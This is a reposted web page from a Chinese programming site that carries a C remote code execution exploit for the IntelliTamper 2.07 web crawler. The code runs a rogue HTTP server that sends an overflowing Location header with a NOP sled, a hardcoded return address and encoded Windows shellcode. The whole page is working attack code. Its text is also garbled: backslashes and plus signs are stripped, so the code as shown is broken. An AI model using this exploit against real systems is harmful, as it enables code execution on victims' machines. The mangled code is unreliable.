欢迎来到福编程网,本站提供各种互联网专业知识!

IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit

发布时间:1970-01-01 作者:佚名 来源:互联网
/******IntelliTamper2.07Location:HTTPHeaderRemoteCodeExecutionexploit.****BasedonexploitbyKoshi(writteninPerl).Thisoneshouldbemore**stable.Justforfunandtolearnmoreaboutwin32exploitation.****byWo
/**

**

** IntelliTamper 2.07 Location: HTTP Header Remote Code Execution exploit.

**

** Based on exploit by Koshi (written in Perl). This one should be more

** stable. Just for fun and to learn more about win32 exploitation.

**

** by Wojciech Pawlikowski (wojtekp@gmail.com)

**/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define BUFSIZE 1550

#define NOP 0x90

#define RETADDR 0x7c941EED // jmp esp ntdll.dll

/* win32_exec - EXITFUNC=thread CMD=mspaint Size=336 Encoder=Alpha2 http://metasploit.com */

unsigned char shellcode[] =

"xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49"

"x49x48x49x49x49x49x49x49x49x49x49x49x51x5ax6ax42"

"x58x30x42x31x50x41x42x6bx41x41x52x41x32x41x41x32"

"x42x41x30x42x41x58x50x38x41x42x75x6dx39x59x6cx69"

"x78x41x54x75x50x77x70x45x50x6cx4bx73x75x55x6cx4e"

"x6bx61x6cx33x35x54x38x55x51x7ax4fx4cx4bx70x4fx45"

"x48x4cx4bx33x6fx67x50x45x51x4ax4bx43x79x6cx4bx34"

"x74x4cx4bx47x71x6ax4ex64x71x6fx30x5ax39x6ex4cx4e"

"x64x4fx30x30x74x45x57x79x51x6bx7ax74x4dx37x71x5a"

"x62x4ax4bx5ax54x55x6bx31x44x71x34x55x54x71x65x4b"

"x55x6cx4bx73x6fx61x34x45x51x78x6bx65x36x6cx4bx36"

"x6cx50x4bx4ex6bx71x4fx57x6cx35x51x38x6bx4cx4bx77"

"x6cx6ex6bx77x71x6ax4bx4cx49x71x4cx37x54x34x44x7a"

"x63x54x71x39x50x61x74x6cx4bx43x70x46x50x4bx35x49"

"x50x72x58x46x6cx6cx4bx47x30x36x6cx6cx4bx70x70x37"

"x6cx4ex4dx4cx4bx65x38x46x68x7ax4bx64x49x4ex6bx4f"

"x70x6ex50x77x70x77x70x45x50x6cx4bx70x68x37x4cx63"

"x6fx64x71x49x66x73x50x31x46x6ex69x59x68x4bx33x69"

"x50x51x6bx30x50x32x48x5ax4fx5ax6ex69x70x45x30x33"

"x58x4cx58x6bx4ex4cx4ax76x6ex66x37x6bx4fx7ax47x30"

"x6dx53x43x62x50x53x51x73x59x32x4ex33x44x45x50x42";

int

main(void)

{

struct sockaddr_in serv_sin, cli_sin;

int i, sockfd, cli_sock, sock_opt = 1, sin_len;

char *overflow, buf[BUFSIZE] = { 0 }, req[BUFSIZE 100] = { 0 };

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (sockfd < 0)

{

perror("socket()");

exit(-1);

}

serv_sin.sin_family = AF_INET;

serv_sin.sin_port = htons(80);

serv_sin.sin_addr.s_addr = INADDR_ANY;

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sock_opt, sizeof(int)) < 0)

{

perror("setsockopt()");

close(sockfd);

exit(-1);

}

if (bind(sockfd, (struct sockaddr *)&serv_sin, sizeof(struct sockaddr)) < 0)

{

perror("bind()");

close(sockfd);

exit(-1);

}

listen(sockfd, 1);

sin_len = sizeof(struct sockaddr);

printf("[*] Waiting for a connection...n");

while (1)

{

cli_sock = accept(sockfd, (struct sockaddr *)&cli_sin, &sin_len);

if (cli_sock < 0)

{

perror("accept()");

exit(-1);

}

printf("[ ] Connection from %s:%dn", inet_ntoa(cli_sin.sin_addr), ntohs(cli_sin.sin_port));

read(cli_sock, buf, sizeof(buf) - 1);

overflow = (char *)malloc(BUFSIZE 1);

for (i = 0; i <= 1540; i = 4)

*(long *)&overflow[i] = RETADDR;

for (i = 0; i < 1536; i )

overflow[i] = NOP;

memcpy(overflow 550, shellcode, strlen(shellcode));

memcpy(overflow i 4, "xe9x14xfcxffxff", 5); // jmp -1000 - jump to our buffer

i = sprintf(req, "200 HTTP/1.1rnDate: 2008-07-24 20:14:31rnLocation: ");

memcpy(req i, overflow, strlen(overflow));

memcpy(req i strlen(overflow), "rnrn", 4);

write(cli_sock, req, strlen(req));

printf("[ ] Exploit sent!n");

close(cli_sock);

}

close(sockfd);

}

相关推荐